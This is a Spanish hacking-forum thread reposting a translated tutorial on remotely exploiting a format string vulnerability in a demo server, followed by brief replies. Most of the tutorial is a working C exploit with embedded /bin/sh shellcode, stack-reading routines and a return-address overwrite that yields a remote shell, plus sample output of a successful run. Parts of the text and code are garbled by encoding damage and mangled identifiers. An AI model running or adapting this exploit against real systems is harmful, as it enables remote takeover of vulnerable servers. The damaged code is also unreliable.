hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
08 de ſeptiembre de 2008, 01:53:44
Noticias: Reporte de temas
Para ver este enlace Registrate o Inicia Sesion
> Aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  explotando error de formato de cadena
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: explotando error de formato de cadena  (Leído 654 veces)
arial
NZ1
*
Desconectado Desconectado

Mensajes: 43


Ver Perfil
« : 18 de Octubre de 2006, 05:41:03 »

hola, esta es la primera vez que dejo un manual en esta seccion.
este lo encontre andando por internet y pense que por ahi les iva a venir bien a ustedes que entienden mas que yo de esto....como sea, que los disfruten y diganme que tal esta si.

C?mo explotar remota y autom?ticamente un error de formato
Fr?d?ric Raynal

<pappy@miscmag.com>
Traducido por: Cable

<Cable@x0und.net>

Table of Contents
1. Introduccion
2. Contexto : el servidor vulnerable
3. Par?metros solicitados
4. Adivinando el desplazamiento
5. Adivinando la direcci?n del comando de shell en la pila
6. Convertir un error de formato en un depurador
7. ?Qu? hemos de buscar ?
8. Adivinando la direcci?n exacta del comando del shell
9. Adivinando la direcci?n de retorno
10. Adivinando la direcci?n del buffer
11. Adivinando la direcci?n de retorno
12. Explotaci?n
13. Conclusi?n
14. Saludos
15. Ap?ndice 1 : el fmtd del lado del servidor
16. Ap?ndice 2 : el fmtd del lado del explotador
17. Bibliograf?a

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be found in GNU Free Documentation License.

1. Introduccion

Explotar un error de formato remotamente puede ser muy divertido. Permite comprender los riesgos asociados a esta clase de fallos. No explicaremos aqu? las bases de esta vulnerabilidad (p.ej. su origen o la construcci?n de la cadena de formato) puesto que ya existen muchos art?culos al respecto (ver la bibliograf?a al final).
2. Contexto : el servidor vulnerable

Usaremos un servidor muy minimalista (pero pedag?gico) en este art?culo. Solicita un login y un password, luego te los env?a de vuelta. El c?digo fuente se encuentra en el ap?ndice 1.

Para instalar el servidor fmtd, tendr?s que configurar inetd para que se acepten conexiones al puerto 12345:

# /etc/inetd.conf
12345  stream  tcp  nowait  raynal  /home/raynal/MISC/2-MISC/RemoteFMT/fmtd

O con xinetd:

# /etc/xinetd.conf

service fmtd
{
  type        = UNLISTED
  user        = raynal
  group       = users
  socket_type = stream
  protocol    = tcp
  wait        = no
  server      = /tmp/fmtd
  port        = 12345
  only_from   = 192.168.1.1 192.168.1.2 127.0.0.1
}

Luego reinicializa el servidor. No olvides cambiar las reglas de tu cortafuegos si tienes alguno.

A continuaci?n, veamos si el servicio est? funcionando:

$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]

telnet> quit
Connection closed.

Echemos un vistazo al fichero de bit?cora:

Jan  4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan  4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan  4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan  4 10:49:56 bosley inetd[407]: pid 877: exit status 255

Durante el ejemplo previo, s?lo introducimos un login, un password y una frase antes de cerrar la conexi?n. Pero, ?que pasar? cuando le demos instrucciones de formato al servidor?:

telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520

Al ejecutarse las instrucciones "%x %x %x %x", muestra que nuestro servidor es vulnerable a un error de formato.

<nos salimos del tema un momento>

De hecho, todos los programas que act?an as? s?n vulnerables a un error de formato:

          int main( int argc, char ** argv )
          {
            char buf[8];
            sprintf( buf, argv[1] );
          }

Usar %hn para explotar esto provocar?a un desbordamiento: la cadena formateada se hace cada vez m?s grande, pero como no se ejerce control sobre su longitud, ocurre un desbordamiento .

</nos salimos del tema un momento>

Mirando las fuentes comprobamos que el problema se halla en la funci?n vul():

  ...
  snprintf(tmp, sizeof(tmp)-1, buf);
  ...

como el buffer <buf> est? disponible para un usuario malicioso, ?ste puede tomar control del servidor ... y as? obtener un shell con los privilegios del servidor.
3. Par?metros solicitados

Se requieren los mismos parametros de un error de formato local:

* el desplazamiento para llegar al inicio del buffer;

* La direcci?n de un c?digo de shell colocado en algun lugar en la memoria del servidor;

* la direcci?n del buffer vulnerable;

* una direcci?n de retorno.

Este exploit se proporciona como ejemplo en el anexo 2. Las partes siguientes de este art?culo explican c?mo fu? dise?ado.

He aqu? algunas variables usadas en el exploit:

* sd: el socket entre el cliente (el exploit) y el servidor vulnerable;

* buf: un buffer para leer/escribir algunos datos;

* read_at: una direcci?n en la pila del servidor;

* fmt: cadena de formato enviada al servidor.
4. Adivinando el desplazamiento

Este par?metro siempre es necesario para explotar esta clase de fallo, y se determina en la misma forma que un exploit local:

telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141

Aqu? el desplazamiento es 2. Es muy f?cil adivinarlo autom?ticamente, y eso es lo que la funci?n get_offset() intenta hacer. Env?a la cadena "AAAA%<val>$x" al servidor. Si el desplazamiento es <val>, entonces el servidor responde con la cadena "AAAA41414141":

  #define MAXOFFSET 255

  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    read(sock, buf, sizeof(buf))
    if (!strcmp(buf, "AAAA41414141"))
      offset = i;
  }

5. Adivinando la direcci?n del comando de shell en la pila

Si quieres colocar un comando de shell en la memoria del servidor, entonces tienes que averiguar la direcci?n. Se puede colocar en el buffer vulnerable, o en cualquier otra parte: gracias al error de formato, no importa Smiley Por ejemplo, algunos servidores de ftp permit?an almacenarlo en el password (PASS), sin que lo comprobasen demasiado para las cuentas 'anonymous' o 'ftp'. Aqu?, nuestro servidor funciona del mismo modo.
6. Convertir un error de formato en un depurador

Nuestro objetivo es hallar la direcci?n del comando de shell colocado en la memoria del servidor. Por ello, ?transformaremo s el servidor remoto en depurador remoto!

Usando la cadena de formato "%s", se puede leer hasta que el buffer est? lleno o se encuentre un caracter NULL. As? que, enviando varios "%s" sucesivos al servidor, el exploit puede volcar localmente la memoria del proceso remoto:

         <addr>%<offset>$s

En el exploit, se lleva a cabo en 2 pasos:

1. La funci?n get_addr_as_ch ar(u_int addr, char *buf) convierte la direcci?n (addr) a char: *(u_int*)buf = addr;

2. entonces, los siguientes 4 bytes contienen la instrucci?n de formato.

La cadena de formato es enviada al servidor remoto:

  get_addr_as_ch ar(read_at, fmt);
  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
  write(sd, fmt, strlen(fmt));

El cliente lee una cadena en <addr>. Si no contiene ning?n comando de shell, la siguiente lectura se lleva a cabo en esta misma direcci?n, a la cual se a?ade la cantidad de bytes le?dos (p. ej, el valor retornado por read()).

Sin embargo, todos los <len> caracteres le?dos no deber?an ser considerados. La instrucci?n vulnerable en el servidor es algo as? como:

     sprintf(out, in);

Para construir el buffer de salida, sprintf() comienza procesando la cadena <in>. Los primeros cuatro bytes son la direcci?n desde la cual pretendemos leer: simplemente s?n copiadas en el buffer de salida. Entonces, se ha hallado e interpretado una instrucci?n de formato. Por ello, tenemos que eliminar esos 4 bytes:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    [ ... ]
    read_at += (len-4+1);
    [ ... ]
  }

7. ?Qu? hemos de buscar ?

Otro problema es c?mo identificar el comando de shell en memoria. Si s?lo miras todos los bytes en la memoria remota, te arriesgas a perderlo. Como el buffer termina con un byte NULL, la cadena colocada justo enfrente puede contener montones de NOPs. Por ello, la lectura del comando del shell podr?a quedar dividida en 2 lecturas.

Para evitar ?sto, si la cantidad de caracteres le?dos equivale al tama?o del buffer, el exploit "olvida" los ?ltimos sizeof(shellcode) bytes que ha le?do del servidor. As?, la pr?xima lectura se lleva a cabo en:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    [ ... ]
    read_at += len;
    if (len == sizeof(buf))
      read_at-=strlen(shellcode);
    [ ... ]
  }

?ste caso jam?s ha sido probado... as? que no garantizo que funcione ;-/
8. Adivinando la direcci?n exacta del comando del shell

La b?squeda de patrones en una cadena se lleva a cabo con la funci?

   ptr = strstr(buf, pattern);

Retorna un puntero a la cadena interpretada, apuntando al primer byte del patr?n que buscamos. As?, la posici?n del comando de consola es:

   addr_shellcode = read_at + (ptr-buf);

?Excepto que el buffer contiene bytes que debemos ignorar! Como ya hemos visto mientras explor?bamos la pila, los primeros cuatro bytes del buffer de salida son, de hecho, la direcci?n de la que acabamos de leer:

        addr_shellcode = read_at + (ptr-buf) - 4;

-- --[ comando de shell : un res?men ]-- --

A veces, un poco de c?digo vale m?s que una explicaci?n larga:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, shellcode))) {
      addr_shellcode = read_at + (ptr-buf) - 4;
      break;
    }
    read_at += (len-4+1);
    if (len == sizeof(buf)) {
      read_at-=strlen(shellcode);
    }
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_ch ar(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  }

9. Adivinando la direcci?n de retorno

El ?ltimo par?metro (pero no el menos importante) que hemos de determinar es la direcci?n de retorno. Hemos de hallar una direcci?n de retorno v?lida en la pila del proceso remoto, para sobreescribirl e nuestro comando de consola.

No nos detendremos aqu? a explicar c?mo son llamadas las funciones en C, pero te recordaremos c?mo se colocan las variables y par?metros en la pila. Primero, los argumentos se colocan desde el ?ltimo (superior) hasta el primero (el que est? m?s abajo). Entonces, el registro de instrucci?n (%eip) es salvado en la pila, seguido del registro de puntero base (%ebp), el cual indica el inicio de la memoria para la funci?n actual. Detr?s de esta direcci?n, se utiliza la memoria para las variables locales. Cuando la funci?n acaba, el %eip es sacado de la pila y se limpia ?sta. Esto significa que los registros %esp y %ebp s?n extra?dos, haci?ndoles concordar con los valores de la funci?n previa. La pila no es limpiada de ninguna manera.

As?, nuestra meta es hallar un lugar donde se encuentre salvado el registro %eip. Se hace en dos pasos:

1. hallar la direcci?n del buffer de entrada.

2. hallar la direcci?n de retorno de la funci?n a la que pertenece el buffer vulnerable.

?Por qu? hemos de buscar la direcci?n del buffer? Todos los pares (ebp salvado, eip salvado) que pod?amos hallar en la pila no sirven para nuestro prop?sito. La pila jam?s es limpiada realmente entre llamadas. As? que contiene valores usados por las llamadas previas, a?n si no ser?n usados realmente por el proceso.

Por ello, al adivinar primero la direcci?n del buffer vulnerable, tenemos un punto sobre el cual todos los pares (ebp, eip) s?n v?lidos, ya que el buffer vulnerable mismo se halla en la cima de la pila Smiley
10. Adivinando la direcci?n del buffer

El buffer de entrada es identificado f?cilmente en la memoria remota: es un reflejo de los caracteres que le introducimos. El servidor los copia sin modificaci?n (Cuidado: si algunos caracteres fuesen colocados por el servidor frente a la respuesta, estos deber?an ser considerados).

De manera que simplemente buscamos la copia exacta de nuestra cadena de formato en la memoria del servidor:

  while((len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, fmt))) {
      addr_buffer = read_at + (ptr-buf) - 4;
      break;
    }
    read_at += (len-4+1);
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_ch ar(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  }

11. Adivinando la direcci?n de retorno

En la mayoria de las distribuciones de linux, el tope de la pila se halla en 0xc0000000. Esto no es cierto con todas las distribuciones: Caldera lo pone en 0x80000000 (?Alguien podr?a explicarme por qu??). El espacio reservado en ella depende de las necesidades del programa (usualmente para variables locales). ?stas se suelen colocar en el rango 0xbfffXXXX, donde <XX> es un byte indefinido. Por el contrario, la instrucci?n del proceso (secci?n .text) es cargada desde 0x08048000.

Entonces, tenemos que leer la pila remota para hallar algo que se ve as?:

      Tope de la pila
         0x0804XXXX
         0xbfffXXXX

Debido a que es little endian, esto equivale a buscar la cadena 0xff 0xbf XX XX 0x04 0x08. Como ya hemos visto, no tenemos que considerar los primeros 4 bytes de la cadena retornada:

    i = 4;
    while (i<len-5 && addr_ret == -1) {
      if (buf == (char)0xff && buf[i+1] == (char)0xbf &&
     buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
   addr_ret = read_at + i - 2 + 4 - 4;
   fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
      }
      i++;
    }
    if (addr_ret != -1) break;

La variable <addr_ret> es inicializada con una f?rmula muy compleja:

* addr_ret: la direcci?n que acabamos de leer;

* +i: el desplazamiento en la cadena que estamos explorando en busca del patr?n (no podemos usar strstr() porque nuestro patr?n contiene wildcards - bytes XX no definidos);

* -2: los primeros bytes que hallamos en la pila son ff bf, pero el n?mero completo (por ejemplo, el %ebp salvado) est? compuesto por 4 bytes. el -2 es para los dos "bytes menores" colocados al comienzo de la palabra XX XX ff bf;

* +4: esta modificaci?n se debe a la direcci?n de retorno, que se encuentra a 4 bytes por sobre el %ebp salvado;

* -4: como ya deber?as saber, los primeros 4 bytes, que s?n una copia de la direcci?n de lectura.
12. Explotaci?n

Ahora que ya tenemos todos los par?metros necesarios, la explotaci?n en s? misma no es muy dif?cil. S?lo tenemos que reemplazar la direcci?n de retorno de la funci?n vulnerable (addr_ret) por la del comando de consola (addr_shellcode). La funci?n fmtbuilder la hemos tomado de [5] y se encarga de construir la cadena de formato enviada al servidor:

      build_hn(buf, addr_ret, addr_shellcode, offset, 0);
      write(sd, buf, strlen(buf));

Una vez que se haya llevado a cabo el reemplazo en la pila remota, solo tenemos que retornar de la funci?n vul(). Entonces, enviamos el comando "quit" que hemos creado espec?ficamente para ello ;-)

      strcpy(buf, "quit");
      write(sd, buf, strlen(buf));

Finalmente, la funci?n interact() juega con los descriptores de fichero para permitirnos hacer uso del shell que hemos capturado.

En el pr?ximo ejemplo, el exploit es ejecutado por bosley, conect?ndose a charly:

$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01
Using IP 192.168.1.1
Connected to 192.168.1.1
login sent [toto] (4)
passwd (shellcode) sent (10)
[Found offset = 6]
[buffer addr is: 0xbfffede0 (12) ]
buf = (12)
e0 ed ff bf e0 ed ff bf 25 36 24 73

[shell addr is: 0xbffff5f0 (60) ]
buf = (60)
e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08
31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80
31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
[ret addr is: 0xbffff5ec (60) ]
Building format string ...
Sending the quit ...
bye bye ...
Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown
uid=500(raynal) gid=100(users)
exit
$

13. Conclusi?n

Cada ver se descubren menos errores de formato... afortunadament e. Como acabamos de ver, la automatizaci?n no es muy dif?cil. La librer?a fmtbuilmder (ver bibliograf?a) tambi?n provee las herramientas necesarias para ello.

En nuestro caso, el exploit comienza leyendo un valor arbitrario de la memoria remota. Pero si es demasiado bajo, el servidor se cae. El exploit puede ser modificado para explorar la pila desde arriba hacia abajo... pero entonces las estrategias que se usan para identificar algunos valores han de ser adaptadas un poco. La dificultad parece un poco mayor.

La lectura comienza desde el tope de la pila 0xc0000000-4. Entonces tienes que cambiar el valor de la variable addr_stack. Adem?s, la l?nea read_at+=(len-4+1); debe ser reemplazada por read_at-=4; al hacerlo de esta otra forma, el argumento -a es in?til.

La desventaja de esta soluci?n es que la direcci?n de retorno se halla por debajo del buffer de entrada. Pero todo lo que hay bajo este buffer proviene de la funci?n que ya no se encuentra en la pila: estos datos est?n escritos en un ?rea libre de la pila, as? que pueden ser modificados en cualquier momento por el proceso. Por ello, la b?squeda de la direcci?n de retorno debe cambiar (se puede hallar varias sobre el buffer vulnerable... pero no podemos controlar si se utilizar?n o no).
14. Saludos

Denis Ducamp y Renaud Deraison por sus comentarios/arreglos.
15. Ap?ndice 1 : el fmtd del lado del servidor

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>

void respond(char *fmt,...);

int vul(void)
{
  char tmp[1024];
  char buf[1024];
  int len = 0;

  syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf);

  while(1) {

    memset(buf, 0, sizeof(buf));
    memset(tmp, 0, sizeof(tmp));
    if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
      syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
        buf, len);
      exit(-1);
    } /*
   else
   syslog(LOG_INFO, "vul() -> read %d bytes", len);
      */
    if (!strncmp(buf, "quit", 4)) {
      respond("bye bye ...\n");
      return 0;
    }
    snprintf(tmp, sizeof(tmp)-1, buf);
    respond("%s", tmp);

  }
}

void respond(char *fmt,...)
{
  va_list va;
  char buf[1024];
  int len = 0;

  va_start(va,fmt);
  vsnprintf(buf,sizeof(buf),fmt,va);
  va_end(va);
  len = write(STDOUT_FILENO,buf,strlen(buf));
  /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}


int main()
{
  struct sockaddr_in sin;
  int i,len = sizeof(struct sockaddr_in);
  char login[16];
  char passwd[1024];
  openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);

  /* get login */
  memset(login, 0, sizeof(login));
  respond("login: ");
  if ( (len = read(0, login, sizeof(login))) <= 0 ) {
    syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
      login, len);
    exit(-1);
  } else
    syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);

  /* get passwd */
  memset(passwd, 0, sizeof(passwd));
  respond("password: ");
  if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
    syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
      passwd, len);
    exit(-1);
  } else
    syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);

  /* let's run ... */
  vul();
  return 0;
}

16. Ap?ndice 2 : el fmtd del lado del explotador

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>



char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
      b0 = (addr >> 24) & 0xff; \
           b1 = (addr >> 16) & 0xff; \
           b2 = (addr >>  8) & 0xff; \
           b3 = (addr      ) & 0xff; \
                if ( b0 * b1 * b2 * b3 == 0 ) { \
                   printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
                     exit( EXIT_FAILURE ); \
                } \
   }
#define MAX_FMT_LENGTH    128
#define ADD      0x100   
#define FOUR            sizeof( size_t ) * 4
#define TWO             sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

int interact(int sock)
{
  fd_set fds;
  ssize_t ssize;
  char buffer[1024];

  write(sock, BANNER"\n", sizeof(BANNER));
  while (1) {
    FD_ZERO();
    FD_SET(STDIN_FILENO, );
    FD_SET(sock, );
    select(sock + 1, , NULL, NULL, NULL);

    if (FD_ISSET(STDIN_FILENO, )) {
      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
      if (ssize < 0) {
   return(-1);
      }
      if (ssize == 0) {
   return(0);
      }
      write(sock, buffer, ssize);
    }

    if (FD_ISSET(sock, )) {
      ssize = read(sock, buffer, sizeof(buffer));
      if (ssize < 0) {
   return(-1);
      }
      if (ssize == 0) {
   return(0);
      }
      write(STDOUT_FILENO, buffer, ssize);
    }
  }
  return(-1);
}

u_long resolve(char *host)
{
  struct hostent *he;
  u_long ret;

  if(!(he = gethostbyname(host)))
    {
      herror("gethostbyname()");
      exit(-1);
    }

  memcpy(, he->h_addr, sizeof(he->h_addr));
  return ret;
}
int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)
{
  unsigned char b0, b1, b2, b3;
  unsigned int high, low;
  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
  int sz;

  /* <locaddr> : where to overwrite */
  OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
  sz = snprintf(buf, TWO + 1,     /* 8 char to have the 2 addresses */
            "%c%c%c%c"       /* + 1 for the ending \0 */
            "%c%c%c%c",
            b3, b2, b1, b0,
            b3 + 2, b2, b1, b0);
 
  /* where is our shellcode ? */
  OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
  high = (retaddr & 0xffff0000) >> 16;
  low = retaddr & 0x0000ffff;     

  return snprintf(buf + sz, MAX_FMT_LENGTH,
         "%%.%hdx%%%d$n%%.%hdx%%%d$hn",
         low - TWO + start - base,
         offset,
         high - low + start,
         offset + 1);
}



void get_addr_as_ch ar(u_int addr, char *buf) {

  *(u_int*)buf = addr;
  if (!buf[0]) buf[0]++;
  if (!buf[1]) buf[1]++;
  if (!buf[2]) buf[2]++;
  if (!buf[3]) buf[3]++;
}

int get_offset(int sock) {

  int i, offset = -1, len;
  char fmt[128], buf[128];

  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    if ((len = read(sock, buf, sizeof(buf))) < 0) {
      fprintf(stderr, "Error while looking for the offset (%d)\n", len);
      close(sock);
      exit(EXIT_FAILURE);
    }

    if (debug)
      fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d\n",
         i, fmt, buf, len);

    if (!strcmp(buf, "AAAA41414141"))
      offset = i;
  }
  return offset;
}

char *shellcode =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
  char *ip = "127.0.0.1", *ptr;
  struct sockaddr_in sck;
  u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
  char buf[1024], fmt[128], c;
  int port = 12345, offset = -1;
  int sd, len, i;

  while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
    switch (c) {
      case 'i':
   ip = optarg;
   break;
    
      case 'p':
   port = atoi(optarg);
   break;

      case 'a':
   addr_stack = strtoul(optarg, NULL, 16);
   break;
   
      case 'o':
   offset = atoi(optarg);
   break;

      case 'v':
   verbose = 1;
   break;

      case 'd':
   debug = 1;
   break;

      default:
   fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
   exit (EXIT_FAILURE);
    }
  }

  /* init the sockaddr_in */
  fprintf(stderr, "Using IP %s\n", ip);
  sck.sin_family = PF_INET;
  sck.sin_addr.s _addr = resolve(ip);
  sck.sin_port = htons (port);

  /* open the socket */
  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
    perror ("socket()");
    exit (EXIT_FAILURE);
  }
 
  /* connect to the remote server */
  if (connect (sd, (struct sockaddr *) , sizeof (sck)) < 0) {
    perror ("Connect() ");
    exit (EXIT_FAILURE);
  }
  fprintf (stderr, "Connected to %s\n", ip);
  if (debug) sleep(10);

  /* send login */
  memset (buf, 0x0, sizeof(buf));
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "login", 5)) {
    fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  strcpy(buf, "toto");
  len = write (sd, buf, strlen(buf));
  if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
  sleep(1);

  /* passwd: shellcode in the buffer and in the remote stack */
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "password", 8)) {
    fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  write (sd, shellcode, strlen(shellcode));
  if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
  sleep(1);

  /* find offset */
  if (offset == -1) {
    if ((offset = get_offset(sd)) == -1) {
      fprintf(stderr, "Error: can't find offset\n");
      fprintf(stderr, "Please, use the -o arg to specify it.\n");
      close(sd);
      exit(EXIT_FAILURE);
    }
    if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
  }

  /* look for the address of the shellcode in the remote stack */
  memset (fmt, 0x0, sizeof(fmt));
  read_at = addr_stack;
  get_addr_as_ch ar(read_at, fmt);
  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
  write(sd, fmt, strlen(fmt));
  sleep(1);

  while((len = read(sd, buf, sizeof(buf))) > 0 &&
   (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

    if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);

    /* the shellcode */
    if ((ptr = strstr(buf, shellcode))) {
      addr_shellcode = read_at + (ptr-buf) - 4;
      fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
      fprintf(stderr, "buf = (%d)\n", len);
      for (i=0; i<len; i++) {
   fprintf(stderr,"%.2x ", (int)(buf & 0xff));
   if (i && i%20 == 0) fprintf(stderr, "\n");
      }
      fprintf(stderr, "\n");
    }

    /* the input buffer */
    if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
      addr_buffer = read_at + (ptr-buf) - 4;
      fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
      fprintf(stderr, "buf = (%d)\n", len);
      for (i=0; i<len; i++) {
   fprintf(stderr,"%.2x ", (int)(buf & 0xff));
   if (i && i%20 == 0) fprintf(stderr, "\n");
      }
      fprintf(stderr, "\n\n");
    }

    /* return address */
    if (addr_buffer != -1) {
      i = 4;
      while (i<len-5 && addr_ret == -1) {
   if (buf == (char)0xff && buf[i+1] == (char)0xbf &&
       buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
     addr_ret = read_at + i - 2 + 4 - 4;
     fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
   }
   i++;
      }
    }

    read_at += (len-4+1);
    if (len == sizeof(buf)) {
      fprintf(stderr, "Warning: this has not been tested !!!\n");
      fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
      read_at-=strlen(shellcode);
    }
    get_addr_as_ch ar(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  }

  /* send the format string */
  fprintf (stderr, "Building format string ...\n");
  memset(buf, 0, sizeof(buf));
  build_hn(buf, addr_ret, addr_shellcode, offset, 0);
  write(sd, buf, strlen(buf));
  sleep(1);
  read(sd, buf, sizeof(buf));

  /* call the return while quiting */
  fprintf (stderr, "Sending the quit ...\n");
  strcpy(buf, "quit");
  write(sd, buf, strlen(buf));
  sleep(1);

  interact(sd);

  close(sd);
  return 0;
}

17. Bibliograf?a

1. M?s informaci?n sobre los errores de formato por P. "kalou" Bouchareine (
Para ver este enlace Registrate o Inicia Sesion)

2. Errores de Formato: Qu? s?n, de donde provienen... C?mo explotarlos, por lamagra (lamagra@digibel.org digibel.org>)

3. Evitar los fallos de seguridad al desarrollar una aplicaci?n - 4: las cadenas de formato, por F. Raynal, C. Grenier, C. Blaess (
Para ver este enlace Registrate o Inicia Sesion o
Para ver este enlace Registrate o Inicia Sesion)

4. Explotando las vulnerabilidad es de cadena de formato, por scut (team TESO) (
Para ver este enlace Registrate o Inicia Sesion)

5. fmtbuilder-howto por F. Raynal y S. Dralet (
Para ver este enlace Registrate o Inicia Sesion)
En línea
OzX
Visitante
« Respuesta #1 : 18 de Octubre de 2006, 07:16:39 »

esta bastante bien la informacion, pero parece que detecta algunos caracteres como desconocidos.. seria ideal si pusieras de donde lo sakaste.. asi podrias arreglas y poner algunos ejemplos, en fotos etc, porque parece un informacion muy interesante..
En línea
arial
NZ1
*
Desconectado Desconectado

Mensajes: 43


Ver Perfil
« Respuesta #2 : 19 de Octubre de 2006, 08:24:31 »

OzX la pajina de donde lo saque esta igual a como yo lo subi al foro asi que no hay posibilidades de fotos, yo no lo he probado dado que no estoy muy informado aun sobre este tema , por si vos crees que podes mejorar esto o ver algo que llego o llego a ver te dejo el enlace de la pagina:


Para ver este enlace Registrate o Inicia Sesion

En cuanto a los enlaces que proporsiona la web de este articulo ninguno anda por lo que tampoco puedo acceder a ellas .

En fin espero que alguien pueda mejorar esta imformacion Huh Huh
En línea
OzX
Visitante
« Respuesta #3 : 19 de Octubre de 2006, 03:58:59 »

jejej estare leyendo y vere que puedo agregar.. gracias por el link
En línea
arial
NZ1
*
Desconectado Desconectado

Mensajes: 43


Ver Perfil
« Respuesta #4 : 19 de Octubre de 2006, 07:00:35 »

ok, de nada .....ahora estoy viendo unos manuales de paresido contenido pero con otro tipo de vulnerabilidad es ....si veo que estan bien redactados los cuelgo

LA RED NO ESTA POR ENSIMA DEL MUNDO REAL
En línea
OzX
Visitante
« Respuesta #5 : 19 de Octubre de 2006, 09:18:45 »

mmm
Citar
LA RED NO ESTA POR ENSIMA DEL MUNDO REAL
lee las relgas, no mayusculas...
y no le veo sentido tampoco..
En línea
arial
NZ1
*
Desconectado Desconectado

Mensajes: 43


Ver Perfil
« Respuesta #6 : 20 de Octubre de 2006, 08:14:55 »

